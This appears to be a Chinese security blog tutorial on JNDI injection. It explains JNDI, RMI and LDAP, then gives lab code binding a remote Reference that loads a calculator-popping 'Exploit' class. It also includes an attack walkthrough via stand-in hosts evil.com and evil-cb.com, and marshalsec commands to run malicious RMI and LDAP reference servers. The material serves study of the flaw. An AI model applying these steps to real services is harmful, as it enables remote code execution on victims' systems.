首页 > 其他分享 >JNDI注入

JNDI注入

时间:2024-12-25 10:12:14浏览次数:3  
标签:RMI java JNDI InitialContext import rmi 注入

JNDI注入

JNDI

首先来了解一下,JNDI的出现是为了解决什么问题?

有jndi之前

没有jndi之前,对于一个外部依赖,像mysql数据库,程序开发的过程中需要将具体的数据库地址参数写入到java代码中,程序才能找到具体的数据库地址进行链接。那么数据库配置这些信息可能经常变动的。这就需要开发经常手动去调整配置。

类似于如下这种:

Connection conn=null;
try {
Class.forName("com.mysql.jdbc.Driver", true, Thread.currentThread().getContextClassLoader());
conn=DriverManager.getConnection("jdbc:mysql://MyDBServer?user=qingfeng&password=mingyue");
/* 使用conn并进行SQL操作 */
......
conn.close();
}catch(Exception e) {
e.printStackTrace();
}
finally {
if(conn!=null) {
try {
conn.close();
}catch(SQLException e) {}
} <br>}

这种做法一般在小规模的开发过程中不会产生问题,只要程序员熟悉Java语言、了解JDBC技术和MySQL,可以很快开发出相应的应用程序。

那么这样有什么问题呢?

1、数据库服务器名称MyDBServer 、用户名和口令都可能需要改变,由此引发JDBC URL需要修改;

2、数据库可能改用别的产品,如改用DB2或者Oracle,引发JDBC驱动程序包和类名需要修改;

3、随着实际使用终端的增加,原配置的连接池参数可能需要调整;

等等。。。。。

解决办法:

程序员应该不需要关心“具体的数据库后台是什么?JDBC驱动程序是什么?JDBC URL格式是什么?访问数据库的用户名和口令是什么?”等等这些问题,程序员编写的程序应该没有对 JDBC 驱动程序的引用,没有服务器名称,没有用户名称或口令 —— 甚至没有数据库池或连接管理。而是把这些问题交给J2EE容器来配置和管理,程序员只需要对这些配置和管理进行引用即可。

由此,就有了JNDI。

有jndi之后

有了jndi后,程序员可以不去管数据库相关的配置信息,这些配置都交给J2EE容器来配置和管理,程序员只要对这些配置和管理进行引用即可。其实就是给资源起个名字,再根据名字来找资源。

首先,在J2EE容器中配置JNDI参数,定义一个数据源,也就是JDBC引用参数,给这个数据源设置一个名称;然后,在程序中,通过数据源名称引用数据源从而访问后台数据库。

以下为例子:来自JNDI是什么,怎么理解 - 明志健致远 - 博客园 (cnblogs.com)

  1. 配置数据源
  • 在JBoss的 D:/jboss420GA/docs/examples/jca 文件夹下面,有很多不同数据库引用的数据源定义模板。将其中的 mysql-ds.xml 文件Copy到你使用的服务器下,如 D:/jboss420GA/server/default/deploy。
  • 修改 mysql-ds.xml 文件的内容,使之能通过JDBC正确访问你的MySQL数据库,如下:
<?xml version="1.0" encoding="UTF-8"?>
<datasources>
<local-tx-datasource>
<jndi-name>MySqlDS</jndi-name>
<connection-url>jdbc:mysql://localhost:3306/lw</connection-url>
<driver-class>com.mysql.jdbc.Driver</driver-class>
<user-name>root</user-name>
<password>rootpassword</password>
<exception-sorter-class-name>org.jboss.resource.adapter.jdbc.vendor.MySQLExceptionSorter</exception-sorter-class-name>
<metadata>
<type-mapping>mySQL</type-mapping>
</metadata>
</local-tx-datasource>
</datasources>

这里,定义了一个名为MySqlDS的数据源,其参数包括JDBC的URL,驱动类名,用户名及密码等。

  1. 在程序中引用数据源:
Connection conn=null;
try {
Context ctx=new InitialContext();
Object datasourceRef=ctx.lookup("java:MySqlDS"); //引用数据源
DataSource ds=(Datasource)datasourceRef;
conn=ds.getConnection();
/* 使用conn进行数据库SQL操作 */
......
c.close();
}
catch(Exception e) {
e.printStackTrace();
}
finally {
if(conn!=null) {
try {
conn.close();
} catch(SQLException e) { }
}
}

直接使用JDBC或者通过JNDI引用数据源的编程代码量相差无几,但是现在的程序可以不用关心具体JDBC参数了。
在系统部署后,如果数据库的相关参数变更,只需要重新配置 mysql-ds.xml 修改其中的JDBC参数,只要保证数据源的名称不变,那么程序源代码就无需修改。

由此可见,JNDI避免了程序与数据库之间的紧耦合,使应用更加易于配置、易于部署。

 

什么是JNDI

JNDI,翻译为Java命名和目录结构(JavaNaming And Directory Interface)官方对其解释为JNDI是一组在Java应用中访问命名和目录服务的API(ApplicationProgramming Interface)说明很精炼,但是比较抽象。

 

命名服务

关于命名服务,其实我们很多时候都在用它,但是并不知道它是它,比较典型的是域名服务器DNS(Domain Naming Service),大对人对DNS还是比较了解的,它是将域名映射到IP地址的服务.比如百度的域名www.baidu.com所映射的IP地址是http://202.108.22.5/,你在浏览器中输入两个内容是到的同一个页面

可以看出命名服务的特点:一个值和另一个值的映射,将我们人类更容易认识的值同计算机更容易认识的值进行一一映射。

 

目录服务

至于目录服务,从计算机角度理解为在互联网上有着各种各样的资源和主机,但是这些内容都是散落在互联网中,为了访问这些散落的资源并获得相应的服务,就需要用到目录服务。

从我们日常生活中去理解目录服务的概念可以从电话簿说起,电话簿本身就是一个比较典型的目录服务,如果你要找到某个人的电话号码,你需要从电话簿里找到这个人的名称,然后再看其电话号码。

理解了命名服务和目录服务再回过头来看JDNI,它是一个为Java应用程序提供命名服务的应用程序接口,为我们提供了查找和访问各种命名和目录服务的通用统一的接口。通过JNDI统一接口我们可以来访问各种不同类型的服务。如下图所示,我们可以通过JNDI API来访问刚才谈到的DNS。

fig:

JNDI客户端通过名字来查找所需对象,这些对象可以保存在多种的命名服务和目录服务中,像RMI( Remte Method Invocation)、CoRBA(Common Object Quest Broker Architecture, LDAP(Lightweight Directory Access Protocol)、DNS等。

 

JNDI注入

 

JNDI+RMI

RMI的Registry、Server、Client 的调用关系可以总结为这个图:

fig:

JNDI和RMI的调用流程大致是:JNDI 在请求到 RMI 之后,RMI 返回了 Exploit 的 http 地址,JNDI 则通过网络获取到了这个类文件,通过类加载器将其加载到了JVM中并且实例化了这个类,而 Exploit 的静态代码块内是打开计算器的代码,实例化时就会执行这段代码。

fig:

先看一个例子

import javax.naming.InitialContext;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
}
}

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(obj.sayHello("gogogo"));
}
}

import java.rmi.Remote;
import java.rmi.RemoteException;

public interface RemoteObj extends Remote {

public String sayHello(String keywords) throws RemoteException;
}

import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements RemoteObj {

public RemoteObjImpl() throws RemoteException {
// UnicastRemoteObject.exportObject(this, 0); // 如果不能继承 UnicastRemoteObject 就需要手工导出
}

@Override
public String sayHello(String keywords) throws RemoteException {
String upKeywords = keywords.toUpperCase();
System.out.println(upKeywords);
return upKeywords;
}
}

fig:

这里的 api 虽然是 JNDI 的服务的,但是实际上确实调用到 RMI 的库里面的,这里我们先打断点调试一下,证明 JNDI 的 api 实际上是调用了 RMI 的库里原生的 lookup() 方法。

fig:

所以说,如果 JNDI 这里是和 RMI 结合起来使用的话,RMI 中存在的漏洞,JNDI 这里也会有。但这并不是 JNDI 的传统意义上的漏洞。

JNDI注入

这个漏洞被称作 Jndi 注入漏洞,它与所调用服务无关,不论你是 RMI,DNS,LDAP 或者是其他的,都会存在这个问题。

原理是在服务端调用了一个 Reference 对象,我个人的理解,它是很像代理的。

代码如下

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;

public class JNDIRMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
LocateRegistry.createRegistry(1099);
//这是原来的
//initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",new RemoteObjImpl());
Reference reference = new Reference("Exploit","Exploit","http://127.0.0.1:8000/");
initialContext.rebind("rmi://127.0.0.1:1099/remoteObj",reference);
}
}

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
System.out.println(obj.sayHello("gogogo"));
}
}

Exploit.java还是原来的弹出计算器,我们在该文件目录启动一个http服务

需要注意的是:Exploit.class文件不能在本地目录,需要在其他地方,否则classpath会直接请求本地的Exploit.class文件,而不去请求http服务下的Exploit.class文件。

fig:

主要是Server端,由原来的绑定一个实例改为绑定一个引用(Reference),这个引用允许从不同的地址来加载代码

fig:

第一个参数是类名,第二个参数是 factory,我觉得 factory 是 Jndi 很好的一个表示,我们可以通过这一个 factory 来代表一个类;第三个参数为地址,这个简单。

通过这个引用(Reference)加载类的话,会初始化该类(Exploit),也就是说我们也可以把执行代码的地方写在静态代码块里面。

关于Exploit.java文件需要注意:

  1. 文件不能申明包名,即package xxx。声明后编译的class文件函数名称会加上包名从而不匹配。
  2. 把Exploit.java及其编译的文件放到其他目录下,不然会在当前目录中直接找到这个类。不起web服务也会命令执行成功。
  3. java版本小于1.8u121。之后版本存在trustCodebaseURL的限制,只信任已有的codebase地址,不再能够从指定codebase中下载字节码。

所以说本质上,jndi注入就是一个类加载的问题。

小结一下

只要攻击者能够:

  1. 控制RMI客户端去调用指定RMI服务器
  2. 在可控RMI服务器上绑定Reference对象,Reference对象指定远程恶意类
  3. 远程恶意类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码

就可以达到RCE的效果。fasjson组件漏洞rmi、ldap的利用形式正是使用lndi注入,而不是有关RMI反序列化。

整个利用过程为:

fig:

  1. 攻击者通过可控的 URI 参数触发动态环境转换,例如这里 URI 为 rmi://evil.com:1099/refObj;
  2. 原先配置好的上下文环境 rmi://localhost:1099 会因为动态环境转换而被指向 rmi://evil.com:1099/;
  3. 应用去 rmi://evil.com:1099 请求绑定对象 refObj,攻击者事先准备好的 RMI 服务会返回与名称 refObj 想绑定的 ReferenceWrapper 对象(Reference("EvilObject", "EvilObject", "http://evil-cb.com/"));
  4. 应用获取到 ReferenceWrapper 对象开始从本地 CLASSPATH 中搜索 EvilObject 类,如果不存在则会从 http://evil-cb.com/ 上去尝试获取 EvilObject.class,即动态的去获取 http://evil-cb.com/EvilObject.class;
  5. 攻击者事先准备好的服务返回编译好的包含恶意代码的 EvilObject.class;
  6. 应用开始调用 EvilObject 类的构造函数,因攻击者事先定义在构造函数,被包含在里面的恶意代码被执行;

疑问:为什么在看RMI的时候,执行命令是在RMI的服务端,但是上面执行命令却是在客户端呢?

答案是:漏洞的主要原理是RMI远程对象加载,即RMI Class Loading机制,会导致RMI客户端命令执行的。

 

JNDI+LDAP

ldap 是一种协议,并不是 Java 独有的。

LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

利用方式是一样的,只需要把客户端lookup请求我们启动的ldap服务即可。

import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
//jndi调用
InitialContext initialContext = new InitialContext();
// RemoteObj obj = (RemoteObj) initialContext.lookup("rmi://127.0.0.1:1099/remoteObj");
initialContext.lookup("ldap://127.0.0.1:1389/remoteObj");

}
}

我们使用我们使用marshalsec反序列化工具起rmi、ldap服务,rmi默认端口是1099,ldap默认端口是1389,可以不加端口

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/#Exploit port
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Exploit port

fig:

参考

JNDI是什么,怎么理解 - 明志健致远 - 博客园 (cnblogs.com)

JNDI是什么 | 鸡哥の博客 (jiges.github.io)

Trail: Java Naming and Directory Interface (The Java™ Tutorials) (oracle.com)

BlackHat 2016 回顾之 JNDI 注入简单解析 (rickgray.me)

java安全漫谈

Java反序列化之JNDI学习 | 芜风 (drun1baby.github.io)

标签:RMI,java,JNDI,InitialContext,import,rmi,注入
From: https://www.cnblogs.com/yingzui/p/18629522

相关文章

  • SQLMAP注入之MySQL注入总结
    SQLMAP注入之MySQL注入总结简介sqlmap是一个开源的自动化SQL注入(SQLi)攻击和数据库接管工具,广泛应用于渗透测试、漏洞评估和安全研究。它旨在帮助安全研究人员和渗透测试人员发现和利用SQL注入漏洞,进行数据库接管、信息泄露和数据提取等操作。sqlmap提供了强大的功能,可以......
  • 聊一聊 C#线程池 的线程动态注入 (中)
    一:背景1.讲故事上一篇我们用Thread.Sleep的方式演示了线程池饥饿场景下的动态线程注入,可以观察到大概1s产生1~2个新线程,很显然这样的增长速度扛不住上游请求对线程池的DDOS攻击,导致线程池队列越来越大,但C#团队这么优秀,能优化的地方绝对会给大家尽可能的优化,比如这篇我们......
  • sql注入
    1、SQLInjectionSQL注入(SQLInjection):通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在......
  • insert 注入
    insert注入如何向数据库插入数据?sql语句:insertintousers(id,username,sex,password)values(6,'womendouaitony','tonyaiwomen');在这种情况下,应该如何操作可以达到一个注入的效果?updatexmlpayload:'orupdatexml(1,concat(0x7e,(version()),0x7e),0)or'记忆法:�......
  • 聊一聊 C#线程池 的线程动态注入 (上)
    一:背景1.讲故事在线程饥饿的场景中,我们首先要了解的就是线程是如何动态注入的?其实现如今的ThreadPool内部的实现逻辑非常复杂,而且随着版本的迭代内部逻辑也在不断的变化,有时候也没必要详细的去了解,只需在稍微宏观的角度去理解一下即可,我准备用三篇来详细的聊一聊线程注入的流程......
  • #渗透测试#漏洞挖掘#红蓝攻防#护网#sql注入介绍08-基于时间延迟的SQL注入(Time-Based S
    免责声明本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章阅读。目录一、基于时间延迟的SQL注入概述(一)原理(二)应用场景示......
  • 渗透测试-前后端加密分析之AES加密下的SQL注入
    本文是高级前端加解密与验签实战的第9篇文章,也是最后一篇文章。本系列文章实验靶场为Yakit里自带的Vulinbox靶场,本文讲述的是绕过前后端加密进行SQL注入。登录输入账号密码,抓包查看数据包,看上去就是一个普通的aes加密:这里热加载代码不算太难,常规的加解密函数就可以了:encryp......
  • sql注入总结
    sql注入一.什么是注入所谓SQL注入,就是通过把SQL命令插入到WEB表单提交或输入域名或页面请求的查询字符串,最终到达欺骗服务器执行恶意的SQL命令,从而进一步得到相应的数据信息。通过构造一条精巧的语句,来查询到想要得到的信息。二.常规注入步骤1.判断注入点类型提交and1=1和a......
  • 【项目实战】SQL报错注入之updatexml的实现
    SQL报错注入之updatexml的实现updatexml函数通过输入不符合XPATH格式的数据来触发报错,并利用这一点进行SQL注入,通过分析报错信息,可以判断是否存在注入点,并逐步爆出数据库名、表名、字段名以及敏感数据,感兴趣的可以了解一下1.updatexml报错原理updatexml(xml_doument,X......
  • 使用sqlmap进行联合查询注入要点
    sqlmap-u"http://192.168.1.117/sqli-labs/Less-1/?id=1"--technique=U--dbs-u<目标URL>:指定目标URL(包括注入点)。--technique=U:告诉sqlmap使用UNION注入技术(U代表UNION)。--dbs:列出所有数据库。执行后,sqlmap会尝试使用UNION注入获取数据库列表。如果成功,它将......